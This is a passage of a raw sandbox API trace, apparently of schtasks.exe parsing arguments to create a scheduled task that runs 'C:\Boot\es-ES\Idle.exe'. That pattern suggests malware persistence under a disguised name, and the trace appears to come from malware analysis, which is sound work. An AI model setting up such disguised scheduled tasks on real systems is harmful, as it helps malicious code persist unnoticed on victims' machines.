[0133.971] lstrlenW (lpString="tn") returned 2 [0133.971] lstrlenW (lpString="tn") returned 2 [0133.971] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.971] lstrlenW (lpString="tr") returned 2 [0133.971] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.971] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.971] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.971] lstrlenW (lpString="|tn|") returned 4 [0133.971] lstrlenW (lpString="|tr|") returned 4 [0133.971] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0133.971] SetLastError (dwErrCode=0x490) [0133.971] lstrlenW (lpString="tr") returned 2 [0133.971] lstrlenW (lpString="tr") returned 2 [0133.971] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.971] lstrlenW (lpString="tr") returned 2 [0133.971] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.971] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.971] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.971] lstrlenW (lpString="|tr|") returned 4 [0133.971] lstrlenW (lpString="|tr|") returned 4 [0133.971] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0133.971] SetLastError (dwErrCode=0x0) [0133.971] SetLastError (dwErrCode=0x0) [0133.971] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.971] lstrlenW (lpString="-/") returned 2 [0133.971] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.971] SetLastError (dwErrCode=0x490) [0133.971] SetLastError (dwErrCode=0x490) [0133.972] SetLastError (dwErrCode=0x0) [0133.972] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.972] StrChrIW (lpStart="'C:\\Boot\\es-ES\\Idle.exe'", wMatch=0x3a) returned=":\\Boot\\es-ES\\Idle.exe'" [0133.972] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.972] _memicmp (_Buf1=0x16d4d0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.972] _memicmp (_Buf1=0x16d510, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.972] SetLastError (dwErrCode=0x7a) [0133.972] SetLastError (dwErrCode=0x0) [0133.972] SetLastError (dwErrCode=0x0) [0133.972] lstrlenW (lpString="'C") returned 2 [0133.972] lstrlenW (lpString="-/") returned 2 [0133.972] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.972] SetLastError (dwErrCode=0x490) [0133.972] SetLastError (dwErrCode=0x490) [0133.972] SetLastError (dwErrCode=0x0) [0133.972] _memicmp (_Buf1=0x16d490, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.972] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.972] GetProcessHeap () returned 0x150000 [0133.972] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d550) returned 1 [0133.972] GetProcessHeap () returned 0x150000 [0133.972] RtlReAllocateHeap (Heap=0x150000, Flags=0xc, Ptr=0x16d550, Size=0x32) returned 0x167ae0 [0133.972] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.972] lstrlenW (lpString=" \x09") returned 2 [0133.972] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0133.972] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0133.972] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0133.972] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0133.972] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0133.972] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0133.972] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.973] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0133.973] GetLastError () returned 0x0 [0133.973] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.973] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.973] SetLastError (dwErrCode=0x0) [0133.973] SetLastError (dwErrCode=0x0) [0133.973] lstrlenW (lpString="/rl") returned 3 [0133.973] lstrlenW (lpString="-/") returned 2 [0133.973] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.973] lstrlenW (lpString="create") returned 6 [0133.973] lstrlenW (lpString="create") returned 6 [0133.973] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.974] lstrlenW (lpString="rl") returned 2 [0133.974] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.974] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|create|") returned 8 [0133.974] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.974] lstrlenW (lpString="|create|") returned 8 [0133.974] lstrlenW (lpString="|rl|") returned 4 [0133.974] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0133.974] SetLastError (dwErrCode=0x490) [0133.974] lstrlenW (lpString="?") returned 1 [0133.974] lstrlenW (lpString="?") returned 1 [0133.974] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.974] lstrlenW (lpString="rl") returned 2 [0133.974] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.974] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|?|") returned 3 [0133.974] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.974] lstrlenW (lpString="|?|") returned 3 [0133.974] lstrlenW (lpString="|rl|") returned 4 [0133.974] SetLastError (dwErrCode=0x490) [0133.974] lstrlenW (lpString="s") returned 1 [0133.974] lstrlenW (lpString="s") returned 1 [0133.974] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.974] lstrlenW (lpString="rl") returned 2 [0133.974] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.974] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|s|") returned 3 [0133.974] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.975] lstrlenW (lpString="|s|") returned 3 [0133.975] lstrlenW (lpString="|rl|") returned 4 [0133.975] SetLastError (dwErrCode=0x490) [0133.975] lstrlenW (lpString="u") returned 1 [0133.975] lstrlenW (lpString="u") returned 1 [0133.975] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.975] lstrlenW (lpString="rl") returned 2 [0133.975] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.975] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|u|") returned 3 [0133.975] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.975] lstrlenW (lpString="|u|") returned 3 [0133.975] lstrlenW (lpString="|rl|") returned 4 [0133.975] SetLastError (dwErrCode=0x490) [0133.975] lstrlenW (lpString="p") returned 1 [0133.975] lstrlenW (lpString="p") returned 1 [0133.975] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.975] lstrlenW (lpString="rl") returned 2 [0133.975] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.975] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|p|") returned 3 [0133.975] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.975] lstrlenW (lpString="|p|") returned 3 [0133.975] lstrlenW (lpString="|rl|") returned 4 [0133.975] SetLastError (dwErrCode=0x490) [0133.975] lstrlenW (lpString="ru") returned 2 [0133.975] lstrlenW (lpString="ru") returned 2 [0133.975] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.975] lstrlenW (lpString="rl") returned 2 [0133.976] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.976] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ru|") returned 4 [0133.976] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.976] lstrlenW (lpString="|ru|") returned 4 [0133.976] lstrlenW (lpString="|rl|") returned 4 [0133.976] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0133.976] SetLastError (dwErrCode=0x490) [0133.976] lstrlenW (lpString="rp") returned 2 [0133.976] lstrlenW (lpString="rp") returned 2 [0133.976] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.976] lstrlenW (lpString="rl") returned 2 [0133.976] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.976] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rp|") returned 4 [0133.976] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.976] lstrlenW (lpString="|rp|") returned 4 [0133.976] lstrlenW (lpString="|rl|") returned 4 [0133.976] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0133.976] SetLastError (dwErrCode=0x490) [0133.976] lstrlenW (lpString="sc") returned 2 [0133.976] lstrlenW (lpString="sc") returned 2 [0133.976] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.976] lstrlenW (lpString="rl") returned 2 [0133.976] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.976] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.976] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.977] lstrlenW (lpString="|sc|") returned 4 [0133.977] lstrlenW (lpString="|rl|") returned 4 [0133.977] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0133.977] SetLastError (dwErrCode=0x490) [0133.977] lstrlenW (lpString="mo") returned 2 [0133.977] lstrlenW (lpString="mo") returned 2 [0133.977] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.977] lstrlenW (lpString="rl") returned 2 [0133.977] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.977] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|mo|") returned 4 [0133.977] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.977] lstrlenW (lpString="|mo|") returned 4 [0133.977] lstrlenW (lpString="|rl|") returned 4 [0133.977] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0133.977] SetLastError (dwErrCode=0x490) [0133.977] lstrlenW (lpString="d") returned 1 [0133.977] lstrlenW (lpString="d") returned 1 [0133.977] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.977] lstrlenW (lpString="rl") returned 2 [0133.977] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.977] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|d|") returned 3 [0133.977] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.977] lstrlenW (lpString="|d|") returned 3 [0133.977] lstrlenW (lpString="|rl|") returned 4 [0133.977] SetLastError (dwErrCode=0x490) [0133.977] lstrlenW (lpString="m") returned 1 [0133.977] lstrlenW (lpString="m") returned 1 [0133.978] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.978] lstrlenW (lpString="rl") returned 2 [0133.978] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.978] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|m|") returned 3 [0133.978] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.978] lstrlenW (lpString="|m|") returned 3 [0133.978] lstrlenW (lpString="|rl|") returned 4 [0133.978] SetLastError (dwErrCode=0x490) [0133.978] lstrlenW (lpString="i") returned 1 [0133.978] lstrlenW (lpString="i") returned 1 [0133.978] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.978] lstrlenW (lpString="rl") returned 2 [0133.978] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.978] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|i|") returned 3 [0133.978] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.978] lstrlenW (lpString="|i|") returned 3 [0133.978] lstrlenW (lpString="|rl|") returned 4 [0133.978] SetLastError (dwErrCode=0x490) [0133.978] lstrlenW (lpString="tn") returned 2 [0133.978] lstrlenW (lpString="tn") returned 2 [0133.978] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.978] lstrlenW (lpString="rl") returned 2 [0133.978] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.978] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.978] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.978] lstrlenW (lpString="|tn|") returned 4 [0133.979] lstrlenW (lpString="|rl|") returned 4 [0133.979] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0133.979] SetLastError (dwErrCode=0x490) [0133.979] lstrlenW (lpString="tr") returned 2 [0133.979] lstrlenW (lpString="tr") returned 2 [0133.979] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.979] lstrlenW (lpString="rl") returned 2 [0133.979] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.979] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.979] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.979] lstrlenW (lpString="|tr|") returned 4 [0133.979] lstrlenW (lpString="|rl|") returned 4 [0133.979] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0133.979] SetLastError (dwErrCode=0x490) [0133.979] lstrlenW (lpString="st") returned 2 [0133.979] lstrlenW (lpString="st") returned 2 [0133.979] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.979] lstrlenW (lpString="rl") returned 2 [0133.979] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.979] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|st|") returned 4 [0133.979] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.979] lstrlenW (lpString="|st|") returned 4 [0133.979] lstrlenW (lpString="|rl|") returned 4 [0133.979] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0133.979] SetLastError (dwErrCode=0x490) [0133.979] lstrlenW (lpString="sd") returned 2 [0133.979] lstrlenW (lpString="sd") returned 2 [0133.979] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.980] lstrlenW (lpString="rl") returned 2 [0133.980] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.980] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sd|") returned 4 [0133.980] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.980] lstrlenW (lpString="|sd|") returned 4 [0133.980] lstrlenW (lpString="|rl|") returned 4 [0133.980] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0133.980] SetLastError (dwErrCode=0x490) [0133.980] lstrlenW (lpString="ed") returned 2 [0133.980] lstrlenW (lpString="ed") returned 2 [0133.980] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.980] lstrlenW (lpString="rl") returned 2 [0133.980] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.980] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ed|") returned 4 [0133.980] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.980] lstrlenW (lpString="|ed|") returned 4 [0133.980] lstrlenW (lpString="|rl|") returned 4 [0133.980] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0133.980] SetLastError (dwErrCode=0x490) [0133.980] lstrlenW (lpString="it") returned 2 [0133.980] lstrlenW (lpString="it") returned 2 [0133.980] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.980] lstrlenW (lpString="rl") returned 2 [0133.980] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.981] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|it|") returned 4 [0133.981] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.981] lstrlenW (lpString="|it|") returned 4 [0133.981] lstrlenW (lpString="|rl|") returned 4 [0133.981] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0133.981] SetLastError (dwErrCode=0x490) [0133.981] lstrlenW (lpString="et") returned 2 [0133.981] lstrlenW (lpString="et") returned 2 [0133.981] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.981] lstrlenW (lpString="rl") returned 2 [0133.981] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.981] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|et|") returned 4 [0133.981] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.981] lstrlenW (lpString="|et|") returned 4 [0133.981] lstrlenW (lpString="|rl|") returned 4 [0133.981] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0133.981] SetLastError (dwErrCode=0x490) [0133.981] lstrlenW (lpString="k") returned 1 [0133.981] lstrlenW (lpString="k") returned 1 [0133.981] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.981] lstrlenW (lpString="rl") returned 2 [0133.981] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.981] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|k|") returned 3 [0133.981] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.981] lstrlenW (lpString="|k|") returned 3 [0133.981] lstrlenW (lpString="|rl|") returned 4 [0133.982] SetLastError (dwErrCode=0x490) [0133.982] lstrlenW (lpString="du") returned 2 [0133.982] lstrlenW (lpString="du") returned 2 [0133.982] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.982] lstrlenW (lpString="rl") returned 2 [0133.982] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.982] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|du|") returned 4 [0133.982] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.982] lstrlenW (lpString="|du|") returned 4 [0133.982] lstrlenW (lpString="|rl|") returned 4 [0133.982] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0133.982] SetLastError (dwErrCode=0x490) [0133.982] lstrlenW (lpString="ri") returned 2 [0133.982] lstrlenW (lpString="ri") returned 2 [0133.982] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.982] lstrlenW (lpString="rl") returned 2 [0133.982] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.982] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ri|") returned 4 [0133.982] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.982] lstrlenW (lpString="|ri|") returned 4 [0133.982] lstrlenW (lpString="|rl|") returned 4 [0133.982] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0133.982] SetLastError (dwErrCode=0x490) [0133.982] lstrlenW (lpString="z") returned 1 [0133.982] lstrlenW (lpString="z") returned 1 [0133.982] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.983] lstrlenW (lpString="rl") returned 2 [0133.983] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.983] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|z|") returned 3 [0133.983] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.983] lstrlenW (lpString="|z|") returned 3 [0133.983] lstrlenW (lpString="|rl|") returned 4 [0133.983] SetLastError (dwErrCode=0x490) [0133.983] lstrlenW (lpString="f") returned 1 [0133.983] lstrlenW (lpString="f") returned 1 [0133.983] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.983] lstrlenW (lpString="rl") returned 2 [0133.983] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.983] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|f|") returned 3 [0133.983] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.983] lstrlenW (lpString="|f|") returned 3 [0133.983] lstrlenW (lpString="|rl|") returned 4 [0133.983] SetLastError (dwErrCode=0x490) [0133.983] lstrlenW (lpString="v1") returned 2 [0133.983] lstrlenW (lpString="v1") returned 2 [0133.983] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.983] lstrlenW (lpString="rl") returned 2 [0133.983] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.983] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|v1|") returned 4 [0133.983] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.983] lstrlenW (lpString="|v1|") returned 4 [0133.983] lstrlenW (lpString="|rl|") returned 4 [0133.983] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0133.984] SetLastError (dwErrCode=0x490) [0133.984] lstrlenW (lpString="xml") returned 3 [0133.984] lstrlenW (lpString="xml") returned 3 [0133.984] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.984] lstrlenW (lpString="rl") returned 2 [0133.984] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.984] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|xml|") returned 5 [0133.984] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.984] lstrlenW (lpString="|xml|") returned 5 [0133.984] lstrlenW (lpString="|rl|") returned 4 [0133.984] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0133.984] SetLastError (dwErrCode=0x490) [0133.984] lstrlenW (lpString="ec") returned 2 [0133.984] lstrlenW (lpString="ec") returned 2 [0133.984] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.984] lstrlenW (lpString="rl") returned 2 [0133.984] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.984] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ec|") returned 4 [0133.984] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rl|") returned 4 [0133.984] lstrlenW (lpString="|ec|") returned 4 [0133.984] 